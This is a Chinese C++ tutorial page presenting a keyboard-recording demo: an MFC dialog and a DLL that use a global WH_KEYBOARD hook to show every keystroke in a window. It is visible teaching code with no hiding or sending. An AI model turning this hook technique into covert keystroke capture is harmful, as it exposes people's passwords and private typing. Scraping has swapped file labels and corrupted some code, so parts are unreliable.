C++键盘记录程序代码_C语言教程-查字典教程网
C++键盘记录程序代码
C++键盘记录程序代码
发布时间:2016-12-28 来源:查字典编辑
摘要:本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:主程序如下:就是基于对话框的框架,加个个OnHookKey函数,复制代...

本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:

主程序如下:

就是基于对话框的框架,加个个OnHookKey函数,

复制代码 代码如下:long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息

{

char szKey[80]={0};

GetKeyNameText(lParam, szKey, 80);

CString strItem;

strItem.Format("按键:%srn", szKey);

CString strEdit;

GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);

GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);

::MessageBeep(MB_OK);

return 0;

}

在初始化时,调用DLL中的:

复制代码 代码如下:SetKeyHook(TRUE, 0, m_hWnd)

在析构时,调用DLL中的:

复制代码 代码如下:SetKeyHook(FALSE);

.cpp源文件代码:

复制代码 代码如下:#include <afxwin.h>

#define HM_KEY WM_USER+100

//CMyApp

class CMyApp:public CWinApp

{

public:

BOOL InitInstance();

};

//CMyDialog

class CMainDialog:public CDialog

{

public:

CMainDialog(CWnd* pParentWnd = NULL);

protected:

virtual BOOL OnInitDialog( );

afx_msg void OnCancel();

afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //处理自定义消息的声明

DECLARE_MESSAGE_MAP()

};

.h头文件代码:

复制代码 代码如下:#include "resource.h"

#include "KeyHookApp.h"

#include "KeyHook.h"

#pragma comment(lib,"KeyHook.lib")

CMyApp theApp;

BOOL CMyApp::InitInstance()

{

CMainDialog dlg;

m_pMainWnd = &dlg; //给m_pMainWnd 主窗口

dlg.DoModal();

return FALSE; //不进入消息循环

}

BEGIN_MESSAGE_MAP(CMainDialog, CDialog)

ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息

END_MESSAGE_MAP()

//CMainDialog

CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)

{

}

BOOL CMainDialog::OnInitDialog( )

{

CDialog::OnInitDialog();

if (!SetKeyHook(TRUE, 0, m_hWnd))

{

MessageBox("安装钩子失败");

}

return TRUE;

}

//处理关闭消息

void CMainDialog::OnCancel()

{

OutputDebugString("oncancel");

SetKeyHook(FALSE);

CDialog::OnCancel();

return;

}

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息

{

char szKey[80]={0};

GetKeyNameText(lParam, szKey, 80);

CString strItem;

strItem.Format("按键:%srn", szKey);

CString strEdit;

GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);

GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);

::MessageBeep(MB_OK);

return 0;

}

dll的代码:

.cpp源文件代码:

复制代码 代码如下:// KeyHook.cpp : 定义 DLL 应用程序的导出函数。

//

#include "stdafx.h"

#include "KeyHook.h"

//共享数据段

#pragma data_seg("YCIShared")

HWND g_hWndCaller=NULL; //保存主窗口句柄

HHOOK g_hHook = NULL; //保存钩子句柄

#pragma data_seg()

// 这是导出变量的一个示例

KEYHOOK_API int nKeyHook=0;

// 这是导出函数的一个示例。

KEYHOOK_API int fnKeyHook(void)

{

return 42;

}

//通过内存得到模块句柄的帮助函数

HMODULE WINAPI ModuleFromAddress(LPVOID pv)

{

MEMORY_BASIC_INFORMATION mbi;

if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))

{

return (HMODULE)mbi.AllocationBase;

}

else

{

return NULL;

}

}

//钩子处理函数

LRESULT CALLBACK KeyboardProc(

__in int code,

__in WPARAM wParam,

__in LPARAM lParam

)

{

if (code<0||code==HC_NOREM)

{

return ::CallNextHookEx(g_hHook, code, wParam,lParam);

}

//如果重复消息,交给下一链

if (lParam & 0x40000000)

{

return ::CallNextHookEx(g_hHook, code, wParam,lParam);

}

//通知主窗口

::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);

return ::CallNextHookEx(g_hHook, code, wParam,lParam);

}

//安装和卸载钩子函数

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)

{

BOOL bRet = TRUE;

g_hWndCaller = hWndCaller;

if (bInstall) //安装钩子

{

g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);

bRet = (g_hHook != NULL);

}

else //卸载钩子

{

::UnhookWindowsHookEx(g_hHook);

g_hHook = NULL;

}

return bRet;

}

// 这是已导出类的构造函数。

// 有关类定义的信息,请参阅 KeyHook.h

CKeyHook::CKeyHook()

{

return;

}

.h头文件代码:

复制代码 代码如下:// 下列 ifdef 块是创建使从 DLL 导出更简单的

// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS

// 符号编译的。在使用此 DLL 的

// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将

// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的

// 符号视为是被导出的。

#ifdef KEYHOOK_EXPORTS

#define KEYHOOK_API __declspec(dllexport)

#else

#define KEYHOOK_API __declspec(dllimport)

#endif

#define HM_KEY WM_USER + 100

// 此类是从 KeyHook.dll 导出的

class KEYHOOK_API CKeyHook {

public:

CKeyHook(void);

// TODO: 在此添加您的方法。

};

extern KEYHOOK_API int nKeyHook;

KEYHOOK_API int fnKeyHook(void);

//声明要导出的

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代码:

复制代码 代码如下:EXPORTS

SetKeyHook

SECTIONS

YCIShared Read Write Shared

希望本文所述对大家的C++程序设计有所帮助。

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新C语言学习
    热门C语言学习
    编程开发子分类